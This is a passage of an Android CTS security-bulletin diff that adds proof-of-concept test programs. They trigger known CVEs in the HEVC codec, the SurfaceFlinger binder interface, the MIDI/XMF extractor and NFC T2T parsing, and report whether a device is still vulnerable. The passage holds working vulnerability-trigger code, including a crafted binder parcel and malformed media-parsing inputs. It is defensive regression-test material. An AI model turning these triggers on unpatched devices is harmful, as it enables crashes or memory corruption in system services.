+ tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 1;
+ p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
+ uint8_t data[T2T_READ_DATA_LEN];
+ rw_t2t_handle_rsp(data);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
new file mode 100644
index 0000000..1a07265
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0213",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ "libcodec2-hidl-client-defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libcodec2_client",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
new file mode 100644
index 0000000..30e22d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -0,0 +1,482 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <C2AllocatorIon.h>
+#include <C2Buffer.h>
+#include <C2BufferPriv.h>
+#include <C2Config.h>
+#include <C2Debug.h>
+#include <codec2/hidl/client.h>
+#include <gui/BufferQueue.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+
+#include <chrono>
+#include <condition_variable>
+#include <fstream>
+#include <iostream>
+
+#include "../includes/common.h"
+
+using android::C2AllocatorIon;
+using std::chrono_literals::operator""ms;
+
+#define MAXIMUM_NUMBER_OF_RETRIES 20
+#define QUEUE_TIMEOUT 400ms
+#define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
+#define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
+
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived);
+
+struct FrameInfo {
+ int bytesCount;
+ uint32_t flags;
+ int64_t timestamp;
+};
+
+class LinearBuffer : public C2Buffer {
+ public:
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
+ : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+
+ explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
+ : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+};
+
+/*
+ * Handle Callback functions onWorkDone(), onTripped(),
+ * onError(), onDeath(), onFramesRendered()
+ */
+struct CodecListener : public android::Codec2Client::Listener {
+ public:
+ CodecListener(
+ const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
+ : callBack(fn) {}
+ virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ std::list<std::unique_ptr<C2Work>>& workItems) override {
+ (void)comp;
+ if (callBack) {
+ callBack(workItems);
+ }
+ }
+
+ virtual void onTripped(
+ const std::weak_ptr<android::Codec2Client::Component>& comp,
+ const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+ (void)comp;
+ (void)settingResults;
+ }
+
+ virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+ uint32_t errorCode) override {
+ (void)comp;
+ (void)errorCode;
+ }
+
+ virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+ (void)comp;
+ }
+
+ virtual void onInputBufferDone(uint64_t frameIndex, size_t arrayIndex) override {
+ (void)frameIndex;
+ (void)arrayIndex;
+ }
+
+ virtual void onFrameRendered(uint64_t bufferQueueId, int32_t slotId,
+ int64_t timestampNs) override {
+ (void)bufferQueueId;
+ (void)slotId;
+ (void)timestampNs;
+ }
+ std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+};
+
+class Codec2VideoDecHidlTestBase {
+ public:
+ bool SetUp() {
+ mClient = getClient();
+ if (!mClient) {
+ return false;
+ }
+ mListener.reset(new CodecListener(
+ [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+ if (!mListener) {
+ return false;
+ }
+ mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+ &mClient);
+ if (!mComponent) {
+ return false;
+ }
+ for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
+ mWorkQueue.emplace_back(new C2Work);
+ }
+ std::shared_ptr<C2AllocatorStore> store = android::GetCodec2PlatformAllocatorStore();
+ if (store->fetchAllocator(C2AllocatorStore::DEFAULT_LINEAR, &mLinearAllocator) != C2_OK) {
+ return false;
+ }
+ mLinearPool = std::make_shared<C2PooledBlockPool>(mLinearAllocator, ++mBlockPoolId);
+ if (!mLinearPool) {
+ return false;
+ }
+ mEos = false;
+ mHasVulnerability = false;
+ mTimestampUs = 0u;
+ mWorkResult = C2_OK;
+ mFramesReceived = 0;
+ return true;
+ }
+
+ ~Codec2VideoDecHidlTestBase() {
+ if (mComponent != nullptr) {
+ mComponent->release();
+ mComponent = nullptr;
+ }
+ }
+
+ std::shared_ptr<android::Codec2Client> getClient() {
+ auto instances = android::Codec2Client::GetServiceNames();
+ for (std::string instance : instances) {
+ std::shared_ptr<android::Codec2Client> client =
+ android::Codec2Client::CreateFromService(instance.c_str());
+ std::vector<C2Component::Traits> components = client->listComponents();
+ for (C2Component::Traits traits : components) {
+ if (instance.compare(traits.owner)) {
+ continue;
+ }
+ if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
+ mComponentName.compare(traits.name)) {
+ return android::Codec2Client::CreateFromService(
+ instance.c_str(),
+ !bool(android::Codec2Client::CreateFromService("default", true)));
+ }
+ }
+ }
+ return nullptr;
+ }
+
+ void checkBufferOK(std::unique_ptr<C2Work>& work) {
+ const C2GraphicView output =
+ work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
+ uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
+ uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+ const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
+ const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
+ const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
+ const uint8_t vr[] = {126, 121, 123, 121, 123, 126, 126};
+ if (!memcmp(uPlane - 7, ul, 7) && !memcmp(vPlane - 7, vl, 7) &&
+ !memcmp(uPlane + 1, ur, 7) && !memcmp(vPlane + 1, vr, 7)) {
+ mHasVulnerability |= true;
+ }
+ }
+
+ // Config output pixel format
+ bool configPixelFormat(uint32_t format) {
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ C2StreamPixelFormatInfo::output pixelformat(0u, format);
+
+ std::vector<C2Param*> configParam{&pixelformat};
+ c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
+ if (status == C2_OK && failures.size() == 0u) {
+ return true;
+ }
+ return false;
+ }
+
+ // callback function to process onWorkDone received by Listener
+ void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
+ for (std::unique_ptr<C2Work>& work : workItems) {
+ if (!work->worklets.empty()) {
+ // For decoder components current timestamp always exceeds
+ // previous timestamp if output is in display order
+ mWorkResult |= work->result;
+ bool codecConfig =
+ ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+ if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
+ checkBufferOK(work);
+ }
+ bool mCsd = false;
+ workDone(mComponent, work, mFlushedIndices, mQueueLock, mQueueCondition, mWorkQueue,
+ mEos, mCsd, mFramesReceived);
+ (void)mCsd;
+ }
+ }
+ }
+
+ const std::string mComponentName = "c2.android.hevc.decoder";
+ bool mEos;
+ bool mHasVulnerability;
+ uint64_t mTimestampUs;
+ int32_t mWorkResult;
+ uint32_t mFramesReceived;
+ std::list<uint64_t> mFlushedIndices;
+
+ C2BlockPool::local_id_t mBlockPoolId;
+ std::shared_ptr<C2BlockPool> mLinearPool;
+ std::shared_ptr<C2Allocator> mLinearAllocator;
+
+ std::mutex mQueueLock;
+ std::condition_variable mQueueCondition;
+ std::list<std::unique_ptr<C2Work>> mWorkQueue;
+
+ std::shared_ptr<android::Codec2Client> mClient;
+ std::shared_ptr<android::Codec2Client::Listener> mListener;
+ std::shared_ptr<android::Codec2Client::Component> mComponent;
+};
+
+// process onWorkDone received by Listener
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+ uint32_t& framesReceived) {
+ // handle configuration changes in work done
+ if (work->worklets.front()->output.configUpdate.size() != 0) {
+ std::vector<std::unique_ptr<C2Param>> updates =
+ std::move(work->worklets.front()->output.configUpdate);
+ std::vector<C2Param*> configParam;
+ std::vector<std::unique_ptr<C2SettingResult>> failures;
+ for (size_t i = 0; i < updates.size(); ++i) {
+ C2Param* param = updates[i].get();
+ if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
+ C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+ size_t csdSize = csdBuffer->flexCount();
+ if (csdSize > 0) {
+ csd = true;
+ }
+ } else if ((param->index() == C2StreamSampleRateInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamChannelCountInfo::output::PARAM_TYPE) ||
+ (param->index() == C2StreamPictureSizeInfo::output::PARAM_TYPE)) {
+ configParam.push_back(param);
+ }
+ }
+ component->config(configParam, C2_DONT_BLOCK, &failures);
+ assert(failures.size() == 0u);
+ }
+ if (work->worklets.front()->output.flags != C2FrameData::FLAG_INCOMPLETE) {
+ ++framesReceived;
+ eos = (work->worklets.front()->output.flags & C2FrameData::FLAG_END_OF_STREAM) != 0;
+ auto frameIndexIt = std::find(flushedIndices.begin(), flushedIndices.end(),
+ work->input.ordinal.frameIndex.peeku());
+ work->input.buffers.clear();
+ work->worklets.clear();
+ {
+ typedef std::unique_lock<std::mutex> ULock;
+ ULock l(queueLock);
+ workQueue.push_back(std::move(work));
+ if (!flushedIndices.empty() && (frameIndexIt != flushedIndices.end())) {
+ flushedIndices.erase(frameIndexIt);
+ }
+ queueCondition.notify_all();
+ }
+ }
+}
+
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
+ std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
+ std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+ typedef std::unique_lock<std::mutex> ULock;
+ int frameID = 0;
+ int retryCount = 0;
+ while (1) {
+ if (frameID == (int)Info->size()) {
+ break;
+ }
+ uint32_t flags = 0;
+ std::unique_ptr<C2Work> work;
+ // Prepare C2Work
+ while (!work && (retryCount < MAXIMUM_NUMBER_OF_RETRIES)) {
+ ULock l(queueLock);
+ if (!workQueue.empty()) {
+ work.swap(workQueue.front());
+ workQueue.pop_front();
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+ if (!work && (retryCount >= MAXIMUM_NUMBER_OF_RETRIES)) {
+ return false; // "Wait for generating C2Work exceeded timeout"
+ }
+ int64_t timestamp = (*Info)[frameID].timestamp;
+ if ((*Info)[frameID].flags) {
+ flags = (1 << ((*Info)[frameID].flags - 1));
+ }
+ if (frameID == (int)Info->size() - 1) {
+ flags |= C2FrameData::FLAG_END_OF_STREAM;
+ }
+
+ work->input.flags = (C2FrameData::flags_t)flags;
+ work->input.ordinal.timestamp = timestamp;
+ work->input.ordinal.frameIndex = frameID;
+ {
+ ULock l(queueLock);
+ flushedIndices.emplace_back(frameID);
+ }
+
+ int size = (*Info)[frameID].bytesCount;
+ char* data = (char*)malloc(size);
+ if (!data) {
+ return false;
+ }
+
+ ifStream.read(data, size);
+ if (ifStream.gcount() != size) {
+ return false;
+ }
+
+ work->input.buffers.clear();
+ auto alignedSize = ALIGN(size, PAGE_SIZE);
+ if (size) {
+ std::shared_ptr<C2LinearBlock> block;
+ if (linearPool->fetchLinearBlock(alignedSize,
+ {C2MemoryUsage::CPU_READ, C2MemoryUsage::CPU_WRITE},
+ &block) != C2_OK) {
+ return false;
+ }
+ if (!block) {
+ return false;
+ }
+
+ // Write View
+ C2WriteView view = block->map().get();
+ if (view.error() != C2_OK) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.capacity()) {
+ return false;
+ }
+ if (0u != view.offset()) {
+ return false;
+ }
+ if ((size_t)alignedSize != view.size()) {
+ return false;
+ }
+
+ memcpy(view.base(), data, size);
+
+ work->input.buffers.emplace_back(new LinearBuffer(block, size));
+ free(data);
+ }
+ work->worklets.clear();
+ work->worklets.emplace_back(new C2Worklet);
+ std::list<std::unique_ptr<C2Work>> items;
+ items.push_back(std::move(work));
+
+ // DO THE DECODING
+ if (component->queue(&items) != C2_OK) {
+ return false;
+ }
+ ++frameID;
+ retryCount = 0;
+ }
+ return true;
+}
+
+// Wait for all the inputs to be consumed by the plugin.
+void waitOnInputConsumption(std::mutex& queueLock, std::condition_variable& queueCondition,
+ std::list<std::unique_ptr<C2Work>>& workQueue,
+ size_t bufferCount = MAXIMUM_NUMBER_OF_INPUT_BUFFERS) {
+ typedef std::unique_lock<std::mutex> ULock;
+ uint32_t queueSize;
+ uint32_t retryCount = 0;
+ {
+ ULock l(queueLock);
+ queueSize = workQueue.size();
+ }
+ while ((retryCount < MAXIMUM_NUMBER_OF_RETRIES) && (queueSize < bufferCount)) {
+ ULock l(queueLock);
+ if (queueSize != workQueue.size()) {
+ queueSize = workQueue.size();
+ retryCount = 0;
+ } else {
+ queueCondition.wait_for(l, QUEUE_TIMEOUT);
+ ++retryCount;
+ }
+ }
+}
+
+// Populate Info vector and return number of CSDs
+int32_t populateInfoVector(std::string info, android::Vector<FrameInfo>* frameInfo) {
+ std::ifstream eleInfo;
+ eleInfo.open(info);
+ if (!eleInfo.is_open()) {
+ return -1;
+ }
+ int32_t numCsds = 0;
+ int32_t bytesCount = 0;
+ uint32_t flags = 0;
+ uint32_t timestamp = 0;
+ while (1) {
+ if (!(eleInfo >> bytesCount)) {
+ break;
+ }
+ eleInfo >> flags;
+ eleInfo >> timestamp;
+ bool codecConfig = flags ? ((1 << (flags - 1)) & C2FrameData::FLAG_CODEC_CONFIG) != 0 : 0;
+ if (codecConfig) {
+ ++numCsds;
+ }
+ frameInfo->push_back({bytesCount, flags, timestamp});
+ }
+ eleInfo.close();
+ return numCsds;
+}
+
+#define RETURN_FAILURE(condition) \
+ if ((condition)) { \
+ return EXIT_FAILURE; \
+ }
+
+int main(int argc, char** argv) {
+ RETURN_FAILURE(argc != 3);
+
+ Codec2VideoDecHidlTestBase handle;
+ RETURN_FAILURE(!handle.SetUp());
+ RETURN_FAILURE(!handle.configPixelFormat(HAL_PIXEL_FORMAT_YCBCR_420_888));
+
+ std::string eleStreamInfo{argv[2]};
+ android::Vector<FrameInfo> Info;
+ RETURN_FAILURE(populateInfoVector(eleStreamInfo, &Info) < 0);
+ RETURN_FAILURE(handle.mComponent->start() != C2_OK);
+
+ std::string eleStream{argv[1]};
+ std::ifstream ifStream;
+ ifStream.open(eleStream, std::ifstream::binary);
+ RETURN_FAILURE(!ifStream.is_open());
+ RETURN_FAILURE(!decodeNFrames(handle.mComponent, handle.mQueueLock, handle.mQueueCondition,
+ handle.mWorkQueue, handle.mFlushedIndices, handle.mLinearPool,
+ ifStream, &Info));
+ // blocking call to ensures application to Wait till all the inputs are
+ // consumed
+ if (!handle.mEos) {
+ waitOnInputConsumption(handle.mQueueLock, handle.mQueueCondition, handle.mWorkQueue);
+ }
+ ifStream.close();
+ RETURN_FAILURE(handle.mFramesReceived != Info.size());
+ RETURN_FAILURE(handle.mComponent->stop() != C2_OK);
+ RETURN_FAILURE(handle.mWorkResult != C2_OK);
+ if (handle.mHasVulnerability) {
+ return EXIT_VULNERABLE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
new file mode 100644
index 0000000..13f6fc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0226",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libbinder",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
new file mode 100644
index 0000000..c41ddf4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0226/poc.cpp
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IPCThreadState.h>
+#include <binder/IServiceManager.h>
+
+constexpr uint8_t kCount = 128;
+constexpr size_t kPosition = 104;
+
+using namespace android;
+
+int main() {
+ sp < IServiceManager > sm = defaultServiceManager();
+ if (!sm) {
+ return EXIT_FAILURE;
+ }
+ String16 name(String16("SurfaceFlinger"));
+ sp < IBinder > service = sm->checkService(name);
+ if (!service) {
+ return EXIT_FAILURE;
+ }
+
+ uint32_t code = 2, flags = 0;
+ Parcel data1, reply1;
+ data1.writeInterfaceToken(service->getInterfaceDescriptor());
+ service->transact(code, data1, &reply1, flags);
+ sp < IBinder > binder = reply1.readStrongBinder();
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+
+ Parcel data2, reply2;
+ data2.writeInterfaceToken(binder->getInterfaceDescriptor());
+ for (uint8_t n = 0; n < kCount; ++n) {
+ data2.writeInt32(1);
+ }
+ data2.setDataPosition(kPosition);
+ data2.writeStrongBinder(binder);
+ binder->transact(code, data2, &reply2, flags);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
new file mode 100644
index 0000000..9f254e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0381",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ "frameworks/av/media/libstagefright/foundation/include/media/stagefright/foundation",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/include/media/stagefright",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
new file mode 100644
index 0000000..43da25d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
+ }
+
+ virtual status_t getSize(off64_t *size) {
+ *size = 0x10000;
+ return 0;
+ }
+ virtual status_t initCheck() const { return 0; }
+};
+
+void close_resources(int fdData, int fdInfo, void *libHandle) {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
+}
+
+int main(int argc, char **argv) {
+ if (argc < 3) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_ALL;
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ int fdData = open(argv[1], O_RDONLY);
+ if (fdData < 0) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+ int fdInfo = open(argv[2], O_RDONLY);
+ if (fdInfo < 0) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+ if (!dataSource) {
+ close_resources(fdData, fdInfo, libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+
+ float confidence = 0.0f;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+ }
+
+ close_resources(fdData, fdInfo, libHandle);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp
new file mode 100644
index 0000000..1965f50
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0383",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ "frameworks/av/media/libmedia/include/android",
+ "frameworks/av/media/libstagefright/include",
+ "frameworks/av/media/libstagefright/foundation/include",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediandk",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
new file mode 100644
index 0000000..313f21a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <IMediaExtractor.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <fcntl.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#endif
+
+char enable_selective_overload = ENABLE_NONE;
+
+using namespace android;
+
+class XMFDataSource : public DataSource {
+public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
+ }
+
+ ~XMFDataSource() = default;
+
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
+ size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
